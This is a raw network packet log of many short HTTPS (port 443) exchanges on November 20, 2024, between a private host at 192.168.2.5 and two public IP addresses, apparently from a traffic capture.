Nov 20, 2024 06:41:00.377877951 CET	443	50063	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:00.378026009 CET	443	50063	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:00.378083944 CET	50063	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:00.378237963 CET	50063	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:00.378242016 CET	443	50063	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:00.378262043 CET	50063	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:00.378267050 CET	443	50063	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:00.379600048 CET	443	50062	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:00.379770041 CET	443	50062	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:00.379841089 CET	50062	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:00.380407095 CET	50062	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:00.380417109 CET	443	50062	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:00.381118059 CET	50065	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:00.381217003 CET	443	50065	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:00.381314039 CET	50065	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:00.381669998 CET	50065	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:00.381710052 CET	443	50065	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:00.382698059 CET	50066	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:00.382781982 CET	443	50066	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:00.382878065 CET	50066	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:00.383033991 CET	50066	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:00.383054018 CET	443	50066	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:00.383277893 CET	50067	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:00.383302927 CET	443	50067	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:00.383358955 CET	443	50060	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:00.383388996 CET	443	50060	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:00.383392096 CET	50067	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:00.383440018 CET	50060	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:00.383449078 CET	443	50060	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:00.383591890 CET	50067	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:00.383618116 CET	443	50067	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:00.383619070 CET	50060	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:00.383632898 CET	443	50060	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:00.383641005 CET	50060	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:00.383646011 CET	443	50060	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:00.383677959 CET	443	50060	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:00.385895014 CET	50068	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:00.385917902 CET	443	50068	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:00.386075020 CET	50068	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:00.386285067 CET	50068	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:00.386301041 CET	443	50068	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:00.456708908 CET	443	50064	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:00.457216024 CET	50064	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:00.457271099 CET	443	50064	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:00.457789898 CET	50064	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:00.457802057 CET	443	50064	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:00.488082886 CET	443	50055	4.175.87.197	192.168.2.5
Nov 20, 2024 06:41:00.488162994 CET	50055	443	192.168.2.5	4.175.87.197
Nov 20, 2024 06:41:00.489542961 CET	50055	443	192.168.2.5	4.175.87.197
Nov 20, 2024 06:41:00.489548922 CET	443	50055	4.175.87.197	192.168.2.5
Nov 20, 2024 06:41:00.489871979 CET	443	50055	4.175.87.197	192.168.2.5
Nov 20, 2024 06:41:00.499617100 CET	50055	443	192.168.2.5	4.175.87.197
Nov 20, 2024 06:41:00.543365002 CET	443	50055	4.175.87.197	192.168.2.5
Nov 20, 2024 06:41:00.559477091 CET	443	50064	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:00.560024977 CET	443	50064	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:00.560091972 CET	50064	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:00.560786009 CET	50064	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:00.560820103 CET	443	50064	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:00.560846090 CET	50064	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:00.560861111 CET	443	50064	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:00.564127922 CET	50069	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:00.564145088 CET	443	50069	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:00.564299107 CET	50069	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:00.564475060 CET	50069	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:00.564486027 CET	443	50069	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:00.862637043 CET	443	50055	4.175.87.197	192.168.2.5
Nov 20, 2024 06:41:00.862696886 CET	443	50055	4.175.87.197	192.168.2.5
Nov 20, 2024 06:41:00.862740993 CET	443	50055	4.175.87.197	192.168.2.5
Nov 20, 2024 06:41:00.862803936 CET	50055	443	192.168.2.5	4.175.87.197
Nov 20, 2024 06:41:00.862803936 CET	50055	443	192.168.2.5	4.175.87.197
Nov 20, 2024 06:41:00.862822056 CET	443	50055	4.175.87.197	192.168.2.5
Nov 20, 2024 06:41:00.862886906 CET	50055	443	192.168.2.5	4.175.87.197
Nov 20, 2024 06:41:00.936156988 CET	443	50055	4.175.87.197	192.168.2.5
Nov 20, 2024 06:41:00.936244965 CET	443	50055	4.175.87.197	192.168.2.5
Nov 20, 2024 06:41:00.936256886 CET	50055	443	192.168.2.5	4.175.87.197
Nov 20, 2024 06:41:00.936274052 CET	443	50055	4.175.87.197	192.168.2.5
Nov 20, 2024 06:41:00.936312914 CET	50055	443	192.168.2.5	4.175.87.197
Nov 20, 2024 06:41:00.936418056 CET	443	50055	4.175.87.197	192.168.2.5
Nov 20, 2024 06:41:00.936538935 CET	50055	443	192.168.2.5	4.175.87.197
Nov 20, 2024 06:41:00.936538935 CET	50055	443	192.168.2.5	4.175.87.197
Nov 20, 2024 06:41:00.936562061 CET	50055	443	192.168.2.5	4.175.87.197
Nov 20, 2024 06:41:00.936575890 CET	443	50055	4.175.87.197	192.168.2.5
Nov 20, 2024 06:41:01.084558010 CET	443	50066	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:01.093209982 CET	50066	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:01.093225956 CET	443	50066	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:01.094289064 CET	50066	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:01.094294071 CET	443	50066	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:01.100948095 CET	443	50068	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:01.101790905 CET	443	50067	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:01.103135109 CET	50068	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:01.103168964 CET	443	50068	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:01.103816032 CET	50068	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:01.103827000 CET	443	50068	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:01.104120016 CET	50067	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:01.104160070 CET	443	50067	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:01.104583025 CET	50067	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:01.104594946 CET	443	50067	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:01.115086079 CET	443	50065	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:01.115561008 CET	50065	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:01.115580082 CET	443	50065	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:01.116166115 CET	50065	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:01.116175890 CET	443	50065	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:01.188838005 CET	443	50066	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:01.188904047 CET	443	50066	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:01.189048052 CET	443	50066	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:01.189086914 CET	50066	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:01.189404011 CET	50066	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:01.192186117 CET	50066	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:01.192217112 CET	443	50066	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:01.192311049 CET	50066	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:01.192327023 CET	443	50066	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:01.197020054 CET	50070	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:01.197058916 CET	443	50070	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:01.197257996 CET	50070	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:01.197674036 CET	50070	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:01.197690964 CET	443	50070	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:01.201607943 CET	443	50068	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:01.201694012 CET	443	50068	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:01.201843977 CET	443	50068	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:01.201879025 CET	50068	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:01.202038050 CET	50068	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:01.202228069 CET	50068	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:01.202239990 CET	443	50068	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:01.202271938 CET	50068	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:01.202277899 CET	443	50068	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:01.205555916 CET	50071	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:01.205575943 CET	443	50071	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:01.205781937 CET	443	50067	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:01.205845118 CET	443	50067	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:01.205882072 CET	50071	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:01.205903053 CET	443	50067	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:01.205955982 CET	50067	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:01.206023932 CET	443	50067	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:01.206058025 CET	50067	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:01.206290007 CET	50067	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:01.206598043 CET	50071	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:01.206609011 CET	443	50071	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:01.264929056 CET	443	50065	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:01.264962912 CET	443	50065	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:01.265057087 CET	50065	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:01.265078068 CET	443	50065	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:01.265304089 CET	443	50065	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:01.265429974 CET	50065	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:01.265542030 CET	50065	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:01.265572071 CET	443	50065	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:01.265611887 CET	50065	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:01.265628099 CET	443	50065	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:01.269418001 CET	50072	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:01.269440889 CET	443	50072	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:01.269819021 CET	50072	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:01.270075083 CET	50072	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:01.270087957 CET	443	50072	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:01.270581007 CET	443	50069	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:01.271537066 CET	50069	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:01.271537066 CET	50069	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:01.271545887 CET	443	50069	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:01.271562099 CET	443	50069	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:01.291455030 CET	443	50067	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:01.291539907 CET	443	50067	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:01.291574955 CET	50067	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:01.292773962 CET	50067	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:01.292927027 CET	50067	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:01.292927027 CET	50067	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:01.292948961 CET	443	50067	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:01.292969942 CET	443	50067	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:01.360260963 CET	50073	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:01.360311031 CET	443	50073	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:01.360606909 CET	50073	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:01.360920906 CET	50073	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:01.360939026 CET	443	50073	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:01.377180099 CET	443	50069	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:01.377239943 CET	443	50069	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:01.377285004 CET	443	50069	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:01.377414942 CET	50069	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:01.377414942 CET	50069	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:01.377425909 CET	443	50069	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:01.377480984 CET	50069	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:01.467360973 CET	443	50069	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:01.467392921 CET	443	50069	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:01.467430115 CET	443	50069	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:01.467468023 CET	50069	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:01.468549013 CET	50069	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:01.473191023 CET	50069	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:01.473201036 CET	443	50069	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:01.473228931 CET	50069	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:01.473237038 CET	443	50069	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:01.539505959 CET	50074	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:01.539539099 CET	443	50074	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:01.539721012 CET	50074	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:01.543591976 CET	50074	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:01.543612957 CET	443	50074	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:01.833123922 CET	443	50070	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:01.833941936 CET	50070	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:01.833971977 CET	443	50070	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:01.837601900 CET	50070	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:01.837615013 CET	443	50070	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:01.862102985 CET	443	50071	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:01.862622023 CET	50071	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:01.862639904 CET	443	50071	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:01.865627050 CET	50071	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:01.865633011 CET	443	50071	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:01.914599895 CET	443	50072	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:01.915132046 CET	50072	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:01.915142059 CET	443	50072	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:01.919378042 CET	50072	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:01.919383049 CET	443	50072	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:01.935832024 CET	443	50070	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:01.935856104 CET	443	50070	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:01.935957909 CET	50070	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:01.935978889 CET	443	50070	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:01.936074972 CET	50070	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:01.936238050 CET	50070	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:01.936243057 CET	443	50070	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:01.936268091 CET	50070	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:01.936384916 CET	443	50070	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:01.936413050 CET	443	50070	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:01.936717033 CET	50070	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:01.939023972 CET	50075	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:01.939058065 CET	443	50075	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:01.939335108 CET	50075	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:01.939390898 CET	50075	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:01.939399004 CET	443	50075	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:01.968533039 CET	443	50071	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:01.968678951 CET	443	50071	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:01.968821049 CET	443	50071	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:01.968879938 CET	50071	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:01.971446991 CET	50071	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:01.971446991 CET	50071	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:01.971548080 CET	50071	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:01.971555948 CET	443	50071	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:01.973670006 CET	50076	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:01.973720074 CET	443	50076	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:01.973846912 CET	50076	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:01.975379944 CET	50076	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:01.975398064 CET	443	50076	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:02.017309904 CET	443	50072	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:02.017540932 CET	443	50072	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:02.017714977 CET	50072	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:02.017714977 CET	50072	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:02.017779112 CET	50072	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:02.017790079 CET	443	50072	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:02.023452044 CET	50077	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:02.023488045 CET	443	50077	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:02.027544975 CET	50077	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:02.027544975 CET	50077	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:02.027589083 CET	443	50077	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:02.038105011 CET	443	50073	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:02.038558960 CET	50073	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:02.038569927 CET	443	50073	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:02.039388895 CET	50073	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:02.039393902 CET	443	50073	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:02.155934095 CET	443	50073	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:02.156013966 CET	443	50073	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:02.156117916 CET	50073	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:02.156207085 CET	50073	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:02.156207085 CET	50073	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:02.156223059 CET	443	50073	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:02.156234026 CET	443	50073	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:02.158992052 CET	50078	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:02.159022093 CET	443	50078	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:02.159090996 CET	50078	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:02.159229040 CET	50078	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:02.159243107 CET	443	50078	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:02.195831060 CET	443	50074	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:02.196329117 CET	50074	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:02.196350098 CET	443	50074	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:02.196702957 CET	50074	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:02.196708918 CET	443	50074	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:02.295767069 CET	443	50074	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:02.296142101 CET	443	50074	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:02.296258926 CET	50074	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:02.296258926 CET	50074	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:02.296293020 CET	50074	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:02.296308041 CET	443	50074	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:02.298749924 CET	50079	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:02.298787117 CET	443	50079	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:02.298875093 CET	50079	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:02.299000978 CET	50079	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:02.299017906 CET	443	50079	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:02.576520920 CET	443	50075	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:02.577044964 CET	50075	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:02.577068090 CET	443	50075	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:02.577455044 CET	50075	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:02.577461958 CET	443	50075	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:02.622903109 CET	443	50076	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:02.623594999 CET	50076	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:02.623635054 CET	443	50076	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:02.624273062 CET	50076	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:02.624280930 CET	443	50076	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:02.666090012 CET	443	50077	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:02.666802883 CET	50077	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:02.666820049 CET	443	50077	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:02.667457104 CET	50077	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:02.667470932 CET	443	50077	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:02.675445080 CET	443	50075	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:02.675817013 CET	443	50075	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:02.675908089 CET	50075	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:02.676002979 CET	50075	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:02.676002979 CET	50075	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:02.676027060 CET	443	50075	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:02.676037073 CET	443	50075	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:02.679677963 CET	50080	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:02.679749012 CET	443	50080	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:02.679949999 CET	50080	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:02.680016994 CET	50080	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:02.680033922 CET	443	50080	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:02.751638889 CET	443	50076	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:02.751713037 CET	443	50076	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:02.751770020 CET	50076	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:02.751785040 CET	443	50076	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:02.751832008 CET	443	50076	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:02.751885891 CET	50076	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:02.761370897 CET	50076	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:02.761393070 CET	443	50076	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:02.761404991 CET	50076	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:02.761410952 CET	443	50076	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:02.763643980 CET	443	50077	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:02.763859987 CET	443	50077	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:02.763953924 CET	50077	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:02.763978958 CET	50077	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:02.763978958 CET	50077	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:02.763998985 CET	443	50077	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:02.764008999 CET	443	50077	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:02.829334974 CET	443	50078	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:02.829869032 CET	50078	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:02.829898119 CET	443	50078	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:02.830533028 CET	50078	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:02.830538988 CET	443	50078	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:02.938452959 CET	443	50078	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:02.940310955 CET	443	50079	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:02.940731049 CET	50079	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:02.940747976 CET	443	50079	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:02.941201925 CET	50079	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:02.941206932 CET	443	50079	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:02.941231966 CET	443	50078	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:02.941308022 CET	50078	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:02.941386938 CET	50078	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:02.941400051 CET	443	50078	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:02.941411018 CET	50078	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:02.941416979 CET	443	50078	13.107.246.45	192.168.2.5
